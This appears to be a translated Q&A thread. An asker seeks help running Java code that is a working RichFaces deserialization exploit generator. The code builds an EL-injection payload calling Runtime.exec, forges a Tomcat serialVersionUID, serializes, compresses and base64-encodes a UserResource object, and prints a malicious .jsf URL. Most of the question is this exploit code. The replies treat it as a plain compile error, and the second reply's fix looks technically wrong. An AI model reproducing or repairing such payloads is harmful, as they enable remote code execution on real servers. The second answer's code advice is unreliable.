编译时获取错误消息(Java Web项目)

Question

我已经尝试编译这个java程序一个多星期了，但没有成功。我目前正试图在Windows 10 x64环境下在Eclipse中编译以下项目：

public  class  Main  {
public static void main(String[] args) throws Exception{
String pocEL = "#{request.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("touch /tmp/aaaaa")}";
// tomcat8.5.24 MethodExpression serialVersionUID
Long MethodExpressionSerialVersionUID = 8163925562047324656L;
Class clazz = Class.forName("javax.el.MethodExpression");
Field field = clazz.getField("serialVersionUID");
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setLong(null, MethodExpressionSerialVersionUID);
// createContent
MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
Class<?> cls = Class.forName("javax.faces.component.StateHolderSaver");
Constructor<?> ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
ct.setAccessible(true);
Object createContnet = ct.newInstance(null, tagMethodExpression);
//value
Object value = "haveTest";
//modified
TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
Object modified = ct.newInstance(null, tagValueExpression);
//expires
TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
Object expires = ct.newInstance(null, tagValueExpression2);
//payload object
UserResource.UriData uriData = new UserResource.UriData();
//Constructor con = UserResource.class.getConstructor(new Class[]{});
Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
fieldCreateContent.setAccessible(true);
fieldCreateContent.set(uriData, createContnet);
Field fieldValue = uriData.getClass().getDeclaredField("value");
fieldValue.setAccessible(true);
fieldValue.set(uriData, value);
Field fieldModefied = uriData.getClass().getDeclaredField("modified");
fieldModefied.setAccessible(true);
fieldModefied.set(uriData, modified);
Field fieldExpires = uriData.getClass().getDeclaredField("expires");
fieldExpires.setAccessible(true);
fieldExpires.set(uriData, expires);

//encrypt
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(uriData);
objectOutputStream.flush();
objectOutputStream.close();
byteArrayOutputStream.close();
byte[] pocData = byteArrayOutputStream.toByteArray();
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[pocData.length + 100];
compressor.setInput(pocData);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
byte[] dataArray = URL64Codec.encodeBase64(zipsrc);
String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
System.out.println(poc);
}
}

使用Eclipse编译时，我收到以下错误消息：

Exception in thread "main" java.lang.NoSuchFieldException: serialVersionUID
at java.lang.Class.getField(Unknown Source)
at Main.main(Main.java:30)

如果可以的话，我也可以在家里访问另一台在64位环境下运行Ubuntu 14.04的计算机，如果这可能更容易排除故障或添加插件。。。

如有任何帮助，我们将不胜感激。只要我能编译并从这个Java程序中获得有效的输出，就可以随意进行任何修改和/或建议。谢谢

Answer 1

只需注释掉所有的c.p.

//Class clazz = Class.forName("javax.el.MethodExpression");
//Field field = clazz.getField("serialVersionUID");
//field.setAccessible(true);
//Field modifiersField = Field.class.getDeclaredField("modifiers");
//modifiersField.setAccessible(true);
//modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
//field.setLong(null, MethodExpressionSerialVersionUID);

顺便说一句，如果你不得不破解你的库来使用私有组件，那就意味着你做错了。。。(99.9%的次数(

Answer 2

在类中找不到serialVersionUID字段。只是一个想法，也许它需要一个实例？试试类似的东西：

Class clazz = Class.forName("javax.el.MethodExpression");
Object obj = clazz.newInstance();
MethodExpression me = (MethodExpression) obj;
Field field = me.getField("serialVersionUID");